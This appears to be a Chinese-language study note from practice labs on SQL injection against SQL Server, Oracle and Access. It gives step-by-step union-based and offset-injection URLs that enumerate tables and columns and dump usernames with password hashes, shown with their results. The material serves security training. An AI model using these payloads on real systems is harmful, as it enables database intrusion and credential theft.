其他数据库注入（Oracle/MSSQL 等）

【sqlserver】

sysobjects:存放了所有的表信息，类似于tables，name字段；xtype：存放表类型，u为用户创建的表，x为系统创建的表。

syscolumns:记录数据库所有字段信息。name字段。他的id的值和sysobjects中的id是一一对应的。

db_name():返回当前数据库名称。类似于database().

char():将ascii码转化为对应的字符。

ascii():将字符转化为对应的ascii.

substring():截取字符串。

user:当前用户模式

注意：

1.联合查询的时候，要用union all ，要写全。

https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

1
219.153.49.228:41907/new_list.asp?id=2'
2
219.153.49.228:41907/new_list.asp?id=2"
3

4
219.153.49.228:41907/new_list.asp?id=2 and (select count(*) from sysobjects)>0
5

6
219.153.49.228:41907/new_list.asp?id=2 order by 4
7

8
219.153.49.228:41907/new_list.asp?id=2 union all select  null,null,null,null
9

10
219.153.49.228:41907/new_list.asp?id=-2 union all select  null,null,null,null
11

12
219.153.49.228:41907/new_list.asp?id=-2 union all select  1,2,'3',4
13

14
219.153.49.228:41907/new_list.asp?id=-2 union all select  1,db_name(),'3',4
15
    mozhe_db_v2
16
219.153.49.228:41907/new_list.asp?id=-2 union all select  1,user,'3',4
17
    dbo
18

19
219.153.49.228:41907/new_list.asp?id=-2 union all select  1,name,'3',4  from mozhe_db_v2..sysobjects where xtype=0x75 and name not in('manage','announcement')
20
    manage,announcement
21

22
219.153.49.228:41907/new_list.asp?id=-2 union all select  1,name,'3',4  from mozhe_db_v2..syscolumns where id=(select id from mozhe_db_v2..sysobjects where name='manage') and name not in('id','username','password')
23
    id,username,password
24

25
219.153.49.228:41907/new_list.asp?id=-2 union all select  1,username,password,4  from manage where username not in('admin_mz')
26
  admin_mz,72e1bfc3f01b7583  97285101

【oracle】

dual系统表

可以判断一下这个表是否存在，如果存在就是一个Oracle数据库

all_tables表:存放了oracle里面所有的表信息。

table_name字段：下面存放了其他数据库的表信息。

all_tab_columns表:存放了oralce里面所有数据库的字段信息。

column_name字段：下面存放了具体的字段信息。

rownum=1:类似于mysql中的limit 0,1，一次只能显示一行信息。

1
http://124.70.22.208:43991/new_list.php?id=1 and 1=2
2

3
http://124.70.22.208:43991/new_list.php?id=1 order by 2
4

5
http://124.70.22.208:43991/new_list.php?id=1 union select '1','2' from dual
6

7
http://124.70.22.208:43991/new_list.php?id=1 union select table_name,'2' from all_tables where rownum=1 and table_name not in('TYPE_MISC$')
8
    TYPE_MISC$,ICOL$
9
http://124.70.22.208:43991/new_list.php?id=1 union select table_name,'2' from all_tables where rownum=1 and table_name like '%user%'   and table_name not in('sns_users')
10
    sns_users
11

12
http://124.70.22.208:43991/new_list.php?id=1 union select column_name,'2' from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in('USER_NAME','USER_PWD')
13
    USER_NAME,USER_PWD,STATUS
14

15
http://124.70.22.208:43991/new_list.php?id=1 union select USER_NAME,USER_PWD from "sns_users" where USER_NAME not in('hu','mozhe','zhong')
16
  hu  1c63129ae9db9g20asdua94d3e00495
17
  mozhe  8d2cb9759c139bcaf048b314ace9f169  344801
18
  zhong  1c63129ae9asc60asdua94d3e00495

【access】

access没有数据库的概念。

可以直接查表和字段。

tables，

表和字段需要去猜出来，可以使用sqlmap进行爆破。

admin

1
select * from emails INNER JOIN users   左右凭借数据库查询到的信息。
2

3
select * from emails INNER JOIN users on emails.id = users.id
4

5
select * from users as a INNER JOIN users as b on a.id = b.id
6

7
select * from (users as a INNER JOIN users as b on a.id = b.id)
8

9
select * from ((users as a INNER JOIN users as b on a.id = b.id) inner join users as c on c.id=a.id   )
10

11
--------------------------------------------------------
12
【偏移注入】
13
http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429 and 1=1
14

15
http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429 order by 22
16

17
http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429  UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22  from admin
18

19
http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429  UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*  from admin
20
  22-16=6个字段。
21

22
http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429  UNION SELECT 1,2,3,4,5,6,7,8,9,10,*  from admin  as a inner join admin as b
23
on a.id=b.id
24

25
http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429  UNION SELECT 1,2,3,4,5,6,7,8,9,10,b.id,a.login_count,b.login_count,*  from admin  as a inner join admin as b on a.id=b.id
26
  admin  a48e190fafc257d3
27

28
  b.id  a.login_count b.login_count a.password   a.id  a.admin  a.password           a.index
29

30

31
php   =>  mysql
32
aspx  =>   sqlserver
33
asp   =>   access
34
jsp   =>   oracle,mysql